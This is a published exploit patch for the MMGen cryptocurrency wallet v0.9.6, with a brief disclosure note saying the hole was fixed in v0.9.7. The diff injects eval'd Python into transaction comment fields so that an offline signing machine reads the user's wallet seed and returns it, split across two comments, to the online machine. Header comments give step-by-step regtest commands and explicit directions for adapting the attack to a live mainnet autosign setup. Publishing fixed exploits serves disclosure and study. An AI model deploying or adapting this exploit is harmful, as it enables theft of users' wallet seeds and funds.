MMGen
06af7342cf
Versions of MMGen prior to 0.9.7 were vulnerable to an attack whereby a compromised MMGen installation on the network-connected machine could trick an offline installation into revealing the user's seed via a specially crafted transaction file. Since sufficient time has passed for users to upgrade, we now deem it safe to publish the exploit, implemented as a patch against v0.9.6. Instructions for use are in the patch itself.
67 lines
2.9 KiB
Diff
67 lines
2.9 KiB
Diff
# Implements the exploit that allowed a compromised MMGen on an online machine
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# to fool an offline signing MMGen into passing the user's seed back to the
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# online machine via a specially crafted transaction
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# The seed is split in two and passed via the the input and output transaction
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# comments
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# Patch is against v0.9.6 - 6b9df0e contains the fix, which was included in v0.9.7
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# Testing the exploit in Regtest mode:
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# $ git checkout -b evil_exploit v0.9.6
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# $ git apply scripts/txsign-eval-exploit.diff
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# $ git commit -a -m foo
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# $ mmgen-regtest setup
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# $ mmgen-regtest bob
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# $ mmgen-walletgen -q -p1 -r0 --bob -L label # (hit ENTER 3 times, remember Bob's Seed ID)
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# $ mmgen-addrgen -q --bob 1-2
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# $ mmgen-addrimport -q --bob *.addrs
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# $ mmgen-regtest send <BTC addr of 1st imported address> 500
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# # Set PYTHONPATH to use the patched mmgen/tx.py module without installing it:
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# $ PYTHONPATH=. cmds/mmgen-txcreate --tx-fee=10s -q --bob <Bob's Seed ID>:L:2
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# $ PYTHONPATH=. cmds/mmgen-txsign -q --bob *.rawtx
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# $ mmgen-tool --testnet=1 txview *.sigtx # Bob's seed is contained in the two comments
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# $ mmgen-walletconv -q -p1 -r0 --bob -o mmhex -S | cut -d ' ' -f 2- # verify that seed matches
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# To modify the tx file for a live autosign setup:
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# - uncomment the commented-out line in the patched code
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# - repeat the txcreate step
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# - edit the resulting tx file:
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# + replace the testnet addresses with their mainnet equivalents
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# + replace 'REGTEST' with 'MAINNET'
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# + replace the file's checksum in the first line with the output of 'scripts/compute-file-chksum.py'
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# Make sure to return to master branch when you're finished:
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# $ git checkout master
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diff --git a/mmgen/tx.py b/mmgen/tx.py
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index 0d43840..d167040 100755
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--- a/mmgen/tx.py
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+++ b/mmgen/tx.py
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@@ -557,6 +557,15 @@ class MMGenTX(MMGenObject):
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def format(self):
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self.inputs.check_coin_mismatch()
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self.outputs.check_coin_mismatch()
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+ d_in = repr([e.__dict__ for e in self.inputs])
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+ d_out = repr([e.__dict__ for e in self.outputs])
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+ if g.prog_name == 'mmgen-txcreate':
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+ mod = "__import__('mmgen.seed',globals(),locals(),['SeedSource'])"
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+ wdir = "os.environ['HOME']+'/.mmgen/regtest/btc/bob/'"
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+ # wdir = "'/dev/shm/autosign/'" # use this for a real online/offline setup with autosign
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+ wfile = "{w}+os.listdir({w})[-1]".format(w=wdir)
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+ d_in = d_in.replace("'label': u''","'label': {}.SeedSource({}).seed.hexdata[:32]".format(mod,wfile))
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+ d_out = d_out.replace('{',"{{'label': {}.SeedSource({}).seed.hexdata[32:], ".format(mod,wfile))
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lines = [
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'{}{} {} {} {} {}{}'.format(
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(g.coin+' ','')[g.coin=='BTC'],
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@@ -568,8 +577,8 @@ class MMGenTX(MMGenObject):
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('',' LT={}'.format(self.locktime))[bool(self.locktime)]
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),
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self.hex,
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- repr([e.__dict__ for e in self.inputs]),
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- repr([e.__dict__ for e in self.outputs])
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+ d_in,
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+ d_out
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]
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if self.label:
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lines.append(baseconv.b58encode(self.label.encode('utf8')))
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